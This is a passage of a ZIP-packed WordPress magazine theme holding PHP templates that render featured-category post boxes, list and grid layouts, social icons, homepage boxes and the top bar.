				<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                        class="url fn n"
                                        href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>"><?php the_author(); ?></a></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php if ( $m == 1 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
                <div class="mag-excerpt entry-content">
					<?php
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     N\v    !  inc/modules/magazine-style-11.phpnu [        <?php
/**
 * Template display for featured category style 11
 *
 * @since 1.0
 */
?>

<div class="mag-photo">
    <div class="magcat-thumb hentry">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID() );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID() );
		}
		?>
        <a href="<?php the_permalink(); ?>" class="mag-overlay-photo"></a>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>


        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 15, '...' ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\:       inc/modules/magazine-style-3.phpnu [        <?php
/**
 * Template display for featured category style 3
 *
 * @since 1.0
 */
?>

<div class="mag-photo">
    <div class="magcat-thumb hentry">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID() );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID() );
		}
		?>
        <a href="<?php penci_permalink_fix(); ?>"
           class="mag-overlay-photo<?php echo penci_class_lightbox_enable(); ?>"></a>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\-J       inc/modules/magazine-style-8.phpnu [        <?php
/**
 * Template loop for list style
 */
$post_id = get_the_ID();
?>
<li class="list-post pclist-layout">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>


                                    <figure <?php echo penci_layout_bg( $the_image[0] ); ?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder penci-lazy"
										<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0], $the_caption ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right content-list-center<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
            <div class="header-list-style">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>
                <h2 class="grid-title entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
				<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) || ! get_theme_mod( 'penci_home_featured_cat_author' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <div class="grid-post-box-meta">
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                        class="url fn n"
                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php
					do_action( 'penci_before_post_excerpt' );
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>

        </div>
		<?php penci_soledad_meta_schema(); ?>
    </article>
</li>
PK     N\up  p    inc/modules/socials.phpnu [        <div class="inner-header-social">
	<?php
	$social_data         = penci_social_media_array();
	$custom_social_icons = get_option( 'penci_custom_socials', array() );
	foreach ( $social_data as $name => $sdata ) {
		if ( $sdata[0] ) {
			$icon_html = penci_icon_by_ver( $sdata[1] );
			$name      = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
			?>
			<a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>" aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?> target="_blank"><?php echo $icon_html; ?></a>
			<?php
		}
	}
	?>
</div>
PK     N\	  	    inc/modules/home_boxes.phpnu [        <?php
/**
 * Home boxes
 * Create 3/4 boxes in homepage
 * @since 1.0
 */
$weight_text = get_theme_mod( 'penci_home_box_weight' ) ? get_theme_mod( 'penci_home_box_weight' ) : 'normal';
$boxes_size  = get_theme_mod( 'penci_home_box_type' ) ? get_theme_mod( 'penci_home_box_type' ) : 'horizontal';
$thumb       = 'penci-thumb';
if ( $boxes_size == 'square' ) {
	$thumb = 'penci-thumb-square';
} elseif ( $boxes_size == 'vertical' ) {
	$thumb = 'penci-thumb-vertical';
}
?>
<div class="container home-featured-boxes boxes-weight-<?php echo $weight_text; ?> boxes-size-<?php echo $boxes_size; ?>">
    <ul class="homepage-featured-boxes<?php if ( '4' == get_theme_mod( 'penci_home_box_column' ) ): echo ' boxes-4-columns'; endif; ?>">
		<?php
		for ( $k = 1; $k < 10; $k ++ ) {
			$homepage_box_image = get_theme_mod( 'penci_home_box_img' . $k );
			$homepage_box_text  = penci_get_setting( 'penci_home_box_text' . $k );
			$homepage_box_url   = penci_get_setting( 'penci_home_box_url' . $k );
			if ( $homepage_box_image ):
				$open_url = '';
				$close_url      = '';
				$target         = '';
				if ( get_theme_mod( 'penci_home_boxes_new_tab' ) ):
					$target = ' target="_blank"';
				endif;
				if ( $homepage_box_url ) {
					$open_url  = '<a href="' . ( $homepage_box_url ) . '"' . $target . '>';
					$close_url = '</a>';
				}
				?>
                <li class="penci-featured-ct">
					<?php echo wp_kses( $open_url, penci_allow_html() ); ?>
                    <div class="penci-fea-in<?php if ( get_theme_mod( 'penci_home_box_style_2' ) && ! get_theme_mod( 'penci_home_box_style_3' ) ): echo ' boxes-style-2'; endif; ?><?php if ( get_theme_mod( 'penci_home_box_style_3' ) ): echo ' boxes-style-3'; endif; ?>">

                        <div <?php echo penci_layout_bg( penci_get_image_size_url( $homepage_box_image, $thumb ), '' ); ?> class="<?php echo penci_layout_bg_class();?> fea-box-img penci-image-holder penci-holder-load">
							<?php echo penci_layout_img( penci_get_image_size_url( $homepage_box_image, $thumb ), '' ); ?>
                        </div>


						<?php if ( $homepage_box_text ): ?>
                            <h4><span class="boxes-text"><span
                                            style="font-weight: <?php echo $weight_text; ?>"><?php echo sanitize_text_field( $homepage_box_text ); ?></span></span>
                            </h4>
						<?php endif; ?>
                    </div>
					<?php echo wp_kses( $close_url, penci_allow_html() ); ?>
                </li>
			<?php
			endif;
		}
		?>
    </ul>
</div>
PK     N\8  8    inc/modules/topbar.phpnu [        <?php
/**
 * Top bar template
 * Options for it in Customize > Top Bar Options & Colors For Top Bar
 *
 * @since 1.0
 */
?>
<div class="penci-top-bar<?php if ( get_theme_mod( 'penci_top_bar_hide_social' ) ): echo ' no-social'; endif;
if ( get_theme_mod( 'penci_top_bar_enable_menu' ) ): echo ' topbar-menu'; endif;
if ( get_theme_mod( 'penci_top_bar_1400' ) ): echo ' topbar-1400px'; endif;
if ( get_theme_mod( 'penci_top_bar_full_width' ) ): echo ' topbar-fullwidth'; endif; ?>">
    <div class="container<?php if ( get_theme_mod( 'penci_top_bar_1400' ) ): echo ' container-1400'; endif; ?>">
        <div class="penci-headline" role="navigation"
		     <?php if ( ! get_theme_mod( 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
	        <?php do_action( 'penci_topbar_content' ); ?>
            <?php
			$tbreorder      = get_theme_mod( 'penci_topbar_ordersec' ) ? get_theme_mod( 'penci_topbar_ordersec' ) : 'toptext-topposts-topmenu-topsocial';
			$tbreorderarray = explode( '-', $tbreorder );
			if ( ! empty( $tbreorderarray ) ) {
				foreach ( $tbreorderarray as $tbsec ) {
					if ( $tbsec == 'toptext' && get_theme_mod( 'penci_tbtext_enable' ) ) :
						get_template_part( 'inc/templates/topbar_text' );
					endif;
					if ( $tbsec == 'topposts' && penci_get_setting( 'penci_toppost_enable' ) ) :
						get_template_part( 'inc/templates/topbar_topposts' );
					endif;
					if ( $tbsec == 'topmenu' && get_theme_mod( 'penci_top_bar_enable_menu' ) ) :
						get_template_part( 'inc/templates/topbar_menu' );
					endif;
					if ( $tbsec == 'topsocial' && ( ! get_theme_mod( 'penci_top_bar_hide_social' ) || get_theme_mod( 'penci_tblogin' ) ) ) :
						get_template_part( 'inc/templates/topbar_social' );
					endif;
				}
			}
			?>
        </div>
    </div>
</div>
PK     N\@M       inc/modules/magazine-style-4.phpnu [        <?php
/**
 * Template display for featured category style 4
 *
 * @since 2.0
 */
?>

<div class="mag-single-slider swiper-slide">
    <div class="magcat-thumb hentry">
		<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
        <a href="<?php penci_permalink_fix(); ?>"
           class="mag-single-slider-overlay<?php echo penci_class_lightbox_enable(); ?>"></a>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\*q  q  !  inc/modules/magazine-style-13.phpnu [        <?php
/**
 * Template loop for gird 3 columns style
 */
?>
<li class="grid-style">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post', 'small' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID(), 'small' );
				}
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
            <h2 class="grid-title entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) || ! get_theme_mod( 'penci_home_featured_cat_author' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>

    </article>
</li>
PK     N\BB"       inc/modules/magazine-style-9.phpnu [        <?php
/**
 * Template display for featured category style 9
 *
 * @since 1.0
 */
?>

<div class="mag-post-box hentry">
    <div class="magcat-thumb">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID(), 'small' );
		}
		?>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder small-fix-size<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
